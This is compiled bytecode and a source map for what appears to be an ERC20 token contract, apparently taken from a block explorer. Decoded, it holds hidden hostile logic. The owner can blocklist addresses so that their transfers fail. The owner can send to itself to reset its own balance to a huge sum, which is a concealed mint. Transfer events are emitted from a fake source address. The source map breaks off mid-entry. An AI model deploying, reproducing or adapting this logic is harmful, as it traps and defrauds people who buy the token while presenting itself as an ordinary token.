0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063d27b687d11610066578063d27b687d14610274578063dd62ed3e146102a4578063df5c8d4a146102d4578063f2363b3214610304576100f5565b806370a08231146101ec57806395d89b411461021c578063a9059cbb1461023a578063ce27c8991461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063503aa6d2146101b4578063686f4b0b146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d4565b60405180910390f35b610132600480360381019061012d919061148f565b6103b4565b60405161013f91906114ea565b60405180910390f35b6101506103d2565b60405161015d9190611514565b60405180910390f35b610180600480360381019061017b919061152f565b6103dc565b60405161018d91906114ea565b60405180910390f35b61019e6104c0565b6040516101ab9190611514565b60405180910390f35b6101ce60048036038101906101c99190611582565b6104ca565b005b6101ea60048036038101906101e59190611582565b6105a1565b005b61020660048036038101906102019190611582565b610678565b6040516102139190611514565b60405180910390f35b6102246106c1565b60405161023191906113d4565b60405180910390f35b610254600480360381019061024f919061148f565b610753565b60405161026191906114ea565b60405180910390f35b6102726108a9565b005b61028e60048036038101906102899190611582565b6109e5565b60405161029b91906114ea565b60405180910390f35b6102be60048036038101906102b991906115af565b610a05565b6040516102cb9190611514565b60405180910390f35b6102ee60048036038101906102e99190611582565b610a8c565b6040516102fb91906114ea565b60405180910390f35b61030c610ae2565b60405161031991906115fe565b60405180910390f35b60606004805461033190611648565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611648565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b0b565b8484610b13565b6001905092915050565b6000600754905090565b60006103e9848484610cdc565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116eb565b60405180910390fd5b60019150509392505050565b6000600654905090565b6104d2610b0b565b73ffffffffffffffffffffffffffffffffffffffff166104f0610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061177d565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6105a9610b0b565b73ffffffffffffffffffffffffffffffffffffffff166105c7610ae2565b73ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106149061177d565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600580546106d090611648565b80601f01602080910402602001604051908101604052809291908181526020018280546106fc90611648565b80156107495780601f1061071e57610100808354040283529160200191610749565b820191906000526020600020905b81548152906001019060200180831161072c57829003601f168201915b5050505050905090565b60008061075e610b0b565b90508073ffffffffffffffffffffffffffffffffffffffff1661077f610ae2565b73ffffffffffffffffffffffffffffffffffffffff161480156107d457508373ffffffffffffffffffffffffffffffffffffffff166107bc610ae2565b73ffffffffffffffffffffffffffffffffffffffff16145b15610893576108406001610832600754600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111190919063ffffffff16565b61116f90919063ffffffff16565b631dcd650061084f91906117cc565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61089e818585610cdc565b600191505092915050565b6108b1610b0b565b73ffffffffffffffffffffffffffffffffffffffff166108cf610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c9061177d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7990611880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611912565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccf9190611514565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906119a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611a36565b60405180910390fd5b600115610e325760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e3157610e2e600754826111b990919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb090611ac8565b60405180910390fd5b6000610ee36064610ed56009548661120390919063ffffffff16565b61116f90919063ffffffff16565b9050610f3783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc69190611ae8565b610fd09190611b1c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110929190611514565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f59190611b1c565b6040516111029190611514565b60405180910390a35050505050565b60008082846111209190611ae8565b905083811015611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90611b9c565b60405180910390fd5b8091505092915050565b60006111b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127d565b905092915050565b60006111fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b60008083036112155760009050611277565b6000828461122391906117cc565b90508284826112329190611beb565b14611272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126990611c8e565b60405180910390fd5b809150505b92915050565b600080831182906112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bb91906113d4565b60405180910390fd5b50600083856112d39190611beb565b9050809150509392505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f91906113d4565b60405180910390fd5b50600083856113379190611b1c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137e578082015181840152602081019050611363565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a682611344565b6113b0818561134f565b93506113c0818560208601611360565b6113c98161138a565b840191505092915050565b600060208201905081810360008301526113ee818461139b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611426826113fb565b9050919050565b6114368161141b565b811461144157600080fd5b50565b6000813590506114538161142d565b92915050565b6000819050919050565b61146c81611459565b811461147757600080fd5b50565b60008135905061148981611463565b92915050565b600080604083850312156114a6576114a56113f6565b5b60006114b485828601611444565b92505060206114c58582860161147a565b9150509250929050565b60008115159050919050565b6114e4816114cf565b82525050565b60006020820190506114ff60008301846114db565b92915050565b61150e81611459565b82525050565b60006020820190506115296000830184611505565b92915050565b600080600060608486031215611548576115476113f6565b5b600061155686828701611444565b935050602061156786828701611444565b92505060406115788682870161147a565b9150509250925092565b600060208284031215611598576115976113f6565b5b60006115a684828501611444565b91505092915050565b600080604083850312156115c6576115c56113f6565b5b60006115d485828601611444565b92505060206115e585828601611444565b9150509250929050565b6115f88161141b565b82525050565b600060208201905061161360008301846115ef565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061166057607f821691505b60208210810361167357611672611619565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d560298361134f565b91506116e082611679565b604082019050919050565b60006020820190508181036000830152611704816116c8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061176760218361134f565b91506117728261170b565b604082019050919050565b600060208201905081810360008301526117968161175a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d782611459565b91506117e283611459565b92508282026117f081611459565b915082820484148315176118075761180661179d565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186a60258361134f565b91506118758261180e565b604082019050919050565b600060208201905081810360008301526118998161185d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118fc60238361134f565b9150611907826118a0565b604082019050919050565b6000602082019050818103600083015261192b816118ef565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198e60268361134f565b915061199982611932565b604082019050919050565b600060208201905081810360008301526119bd81611981565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a2060248361134f565b9150611a2b826119c4565b604082019050919050565b60006020820190508181036000830152611a4f81611a13565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ab260288361134f565b9150611abd82611a56565b604082019050919050565b60006020820190508181036000830152611ae181611aa5565b9050919050565b6000611af382611459565b9150611afe83611459565b9250828201905080821115611b1657611b1561179d565b5b92915050565b6000611b2782611459565b9150611b3283611459565b9250828203905081811115611b4a57611b4961179d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b86601b8361134f565b9150611b9182611b50565b602082019050919050565b60006020820190508181036000830152611bb581611b79565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf682611459565b9150611c0183611459565b925082611c1157611c10611bbc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c7860218361134f565b9150611c8382611c1c565b604082019050919050565b60006020820190508181036000830152611ca781611c6b565b905091905056fea2646970667358221220a8efe83d930d76bb56e102b414841ad7542eb21be4301b4f6197cb963a51518964736f6c63430008110033

Deployed Bytecode Sourcemap

3741:4024:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4926:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6713:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5211:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7409:351;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5116:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4416:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4521:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6587:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5019:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6211:364;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3497:235;;;:::i;:::-;;4367:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7248:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4628:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3273:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4926:85;4965:13;4998:5;4991:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4926:85;:::o;6713:169::-;6796:4;6813:39;6822:12;:10;:12::i;:::-;6836:7;6845:6;6813:8;:39::i;:::-;6870:4;6863:11;;6713:169;;;;:::o;5211:102::-;5266:7;5293:12;;5286:19;;5211:102;:::o;7409:351::-;7515:4;7532:36;7542:6;7550:9;7561:6;7532:9;:36::i;:::-;7579:24;7606:11;:19;7618:6;7606:19;;;;;;;;;;;;;;;:33;7626:12;:10;:12::i;:::-;7606:33;;;;;;;;;;;;;;;;7579:60;;7678:6;7658:16;:26;;7650:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;7748:4;7741:11;;;7409:351;;;;;:::o;5116:87::-;5159:7;5186:9;;5179:16;;5116:87;:::o;4416:95::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4499:4:::1;4479:8;:17;4488:7;4479:17;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;4416:95:::0;:::o;4521:97::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4605:5:::1;4585:8;:17;4594:7;4585:17;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;4521:97:::0;:::o;6587:118::-;6653:7;6680:8;:17;6689:7;6680:17;;;;;;;;;;;;;;;;6673:24;;6587:118;;;:::o;5019:89::-;5060:13;5093:7;5086:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5019:89;:::o;6211:364::-;6297:4;6314:14;6331:12;:10;:12::i;:::-;6314:29;;6371:6;6359:18;;:8;:6;:8::i;:::-;:18;;;:43;;;;;6393:9;6381:21;;:8;:6;:8::i;:::-;:21;;;6359:43;6355:144;;;6445:41;6484:1;6445:34;6466:12;;6445:8;:16;6454:6;6445:16;;;;;;;;;;;;;;;;:20;;:34;;;;:::i;:::-;:38;;:41;;;;:::i;:::-;6435:9;:51;;;;:::i;:::-;6416:8;:16;6425:6;6416:16;;;;;;;;;;;;;;;:70;;;;6355:144;6509:36;6519:6;6527:9;6538:6;6509:9;:36::i;:::-;6563:4;6556:11;;;6211:364;;;;:::o;3497:235::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;3608:42:::1;3569:83;;3591:7;::::0;::::1;;;;;;;;3569:83;;;;;;;;;;;;3681:42;3663:7;::::0;:61:::1;;;;;;;;;;;;;;;;;;3497:235::o:0;4367:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;7248:153::-;7338:7;7365:11;:19;7377:6;7365:19;;;;;;;;;;;;;;;:28;7385:7;7365:28;;;;;;;;;;;;;;;;7358:35;;7248:153;;;;:::o;4628:102::-;4681:4;4705:8;:17;4714:7;4705:17;;;;;;;;;;;;;;;;;;;;;;;;;4698:24;;4628:102;;;:::o;3273:89::-;3320:7;3347;;;;;;;;;;;3340:14;;3273:89;:::o;1009:115::-;1062:15;1105:10;1090:26;;1009:115;:::o;6890:350::-;7011:1;6993:20;;:6;:20;;;6985:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;7093:1;7074:21;;:7;:21;;;7066:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7177:6;7146:11;:19;7158:6;7146:19;;;;;;;;;;;;;;;:28;7166:7;7146:28;;;;;;;;;;;;;;;:37;;;;7216:7;7199:33;;7208:6;7199:33;;;7225:6;7199:33;;;;;;:::i;:::-;;;;;;;;6890:350;;;:::o;5321:882::-;5448:1;5430:20;;:6;:20;;;5422:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5533:1;5512:23;;:9;:23;;;5504:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5591:4;5587:135;;;5635:4;5615:24;;:8;:16;5624:6;5615:16;;;;;;;;;;;;;;;;;;;;;;;;;:24;;;5611:100;;5670:25;5682:12;;5670:7;:11;;:25;;;;:::i;:::-;5660:35;;5611:100;5587:135;5732:16;5751:8;:16;5760:6;5751:16;;;;;;;;;;;;;;;;5732:35;;5798:7;5786:8;:19;;5778:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5870:17;5914:30;5940:3;5914:21;5926:8;;5914:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;5902:42;;5974:29;5995:7;5974:8;:16;5983:6;5974:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5955:8;:16;5964:6;5955:16;;;;;;;;;;;;;;;:48;;;;6065:9;6057:7;6037:8;:19;6046:9;6037:19;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;:37;;;;:::i;:::-;6014:8;:19;6023:9;6014:19;;;;;;;;;;;;;;;:60;;;;6107:12;;;;;;;;;;;6090:41;;6099:6;6090:41;;;6121:9;6090:41;;;;;;:::i;:::-;;;;;;;;6164:9;6147:46;;6156:6;6147:46;;;6183:9;6175:7;:17;;;;:::i;:::-;6147:46;;;;;;:::i;:::-;;;;;;;;5409:794;;5321:882;;;:::o;1398:181::-;1456:7;1476:9;1492:1;1488;:5;;;;:::i;:::-;1476:17;;1517:1;1512;:6;;1504:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1570:1;1563:8;;;1398:181;;;;:::o;2229:132::-;2287:7;2314:39;2318:1;2321;2314:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2307:46;;2229:132;;;;:::o;1587:136::-;1645:7;1672:43;1676:1;1679;1672:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1665:50;;1587:136;;;;:::o;1969:252::-;2027:7;2058:1;2053;:6;2049:47;;2083:1;2076:8;;;;2049:47;2108:9;2124:1;2120;:5;;;;:::i;:::-;2108:17;;2153:1;2148;2144;:5;;;;:::i;:::-;:10;2136:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2212:1;2205:8;;;1969:252;;;;;:::o;2369:227::-;2489:7;2521:1;2517;:5;2524:12;2509:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2548:9;2564:1;2560;:5;;;;:::i;:::-;2548:17;;2587:1;2580:8;;;2369:227;;;;;:::o;1731:226::-;1851:7;1884:1;1879;:6;;1887:12;1871:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1911:9;1927:1;1923;:5;;;;:::i;:::-;1911:17;;1948:1;1941:8;;;1731:226;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:474::-;4826:6;4834;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;5136:2;5162:53;5207:7;5198:6;5187:9;5183:22;5162:53;:::i;:::-;5152:63;;5107:118;4758:474;;;;;:::o;5238:118::-;5325:24;5343:5;5325:24;:::i;:::-;5320:3;5313:37;5238:118;;:::o;5362:222::-;5455:4;5493:2;5482:9;5478:18;5470:26;;5506:71;5574:1;5563:9;5559:17;5550:6;5506:71;:::i;:::-;5362:222;;;;:::o;5590:180::-;5638:77;5635:1;5628:88;5735:4;5732:1;5725:15;5759:4;5756:1;5749:15;5776:320;5820:6;5857:1;5851:4;5847:12;5837:22;;5904:1;5898:4;5894:12;5925:18;5915:81;;5981:4;5973:6;5969:17;5959:27;;5915:81;6043:2;6035:6;6032:14;6012:18;6009:38;6006:84;;6062:18;;:::i;:::-;6006:84;5827:269;5776:320;;;:::o;6102:228::-;6242:34;6238:1;6230:6;6226:14;6219:58;6311:11;6306:2;6298:6;6294:15;6287:36;6102:228;:::o;6336:366::-;6478:3;6499:67;6563:2;6558:3;6499:67;:::i;:::-;6492:74;;6575:93;6664:3;6575:93;:::i;:::-;6693:2;6688:3;6684:12;6677:19;;6336:366;;;:::o;6708:419::-;6874:4;6912:2;6901:9;6897:18;6889:26;;6961:9;6955:4;6951:20;6947:1;6936:9;6932:17;6925:47;6989:131;7115:4;6989:131;:::i;:::-;6981:139;;6708:419;;;:::o;7133:220::-;7273:34;7269:1;7261:6;7257:14;7250:58;7342:3;7337:2;7329:6;7325:15;7318:28;7133:220;:::o;7359:366::-;7501:3;7522:67;7586:2;7581:3;7522:67;:::i;:::-;7515:74;;7598:93;7687:3;7598:93;:::i;:::-;7716:2;7711:3;7707:12;7700:19;;7359:366;;;:::o;7731:419::-;7897:4;7935:2;7924:9;7920:18;7912:26;;7984:9;7978:4;7974:20;7970:1;7959:9;7955:17;7948:47;8012:131;8138:4;8012:131;:::i;:::-;8004:139;;7731:419;;;:::o;8156:180::-;8204:77;8201:1;8194:88;8301:4;8298:1;8291:15;8325:4;8322:1;8315:15;8342:410;8382:7;8405:20;8423:1;8405:20;:::i;:::-;8400:25;;8439:20;8457:1;8439:20;:::i;:::-;8434:25;;8494:1;8491;8487:9;8516:30;8534:11;8516:30;:::i;:::-;8505:41;;8695:1;8686:7;8682:15;8679:1;8676:22;8656:1;8649:9;8629:83;8606:139;;8725:18;;:::i;:::-;8606:139;8390:362;8342:410;;;;:::o;8758:224::-;8898:34;8894:1;8886:6;8882:14;8875:58;8967:7;8962:2;8954:6;8950:15;8943:32;8758:224;:::o;8988:366::-;9130:3;9151:67;9215:2;9210:3;9151:67;:::i;:::-;9144:74;;9227:93;9316:3;9227:93;:::i;:::-;9345:2;9340:3;9336:12;9329:19;;8988:366;;;:::o;9360:419::-;9526:4;9564:2;9553:9;9549:18;9541:26;;9613:9;9607:4;9603:20;9599:1;9588:9;9584:17;9577:47;9641:131;9767:4;9641:131;:::i;:::-;9633:139;;9360:419;;;:::o;9785:222::-;9925:34;9921:1;9913:6;9909:14;9902:58;9994:5;9989:2;9981:6;9977:15;9970:30;9785:222;:::o;10013:366::-;10155:3;10176:67;10240:2;10235:3;10176:67;:::i;:::-;10169:74;;10252:93;10341:3;10252:93;:::i;:::-;10370:2;10365:3;10361:12;10354:19;;10013:366;;;:::o;10385:419::-;10551:4;10589:2;10578:9;10574:18;10566:26;;10638:9;10632:4;10628:20;10624:1;10613:9;10609:17;10602:47;10666:131;10792:4;10666:131;:::i;:::-;10658:139;;10385:419;;;:::o;10810:225::-;10950:34;10946:1;10938:6;10934:14;10927:58;11019:8;11014:2;11006:6;11002:15;10995:33;10810:225;:::o;11041:366::-;11183:3;11204:67;11268:2;11263:3;11204:67;:::i;:::-;11197:74;;11280:93;11369:3;11280:93;:::i;:::-;11398:2;11393:3;11389:12;11382:19;;11041:366;;;:::o;11413:419::-;11579:4;11617:2;11606:9;11602:18;11594:26;;11666:9;11660:4;11656:20;11652:1;11641:9;11637:17;11630:47;11694:131;11820:4;11694:131;:::i;:::-;11686:139;;11413:419;;;:::o;11838:223::-;11978:34;11974:1;11966:6;11962:14;11955:58;12047:6;12042:2;12034:6;12030:15;12023:31;11838:223;:::o;12067:366::-;12209:3;12230:67;12294:2;12289:3;12230:67;:::i;:::-;12223:74;;12306:93;12395:3;12306:93;:::i;:::-;12424:2;12419:3;12415:12;12408:19;;12067:366;;;:::o;12439:419::-;12605:4;12643:2;12632:9;12628:18;12620:26;;12692:9;12686:4;12682:20;12678:1;12667:9;12663:17;12656:47;12720:131;12846:4;12720:131;:::i;:::-;12712:139;;12439:419;;;:::o;1286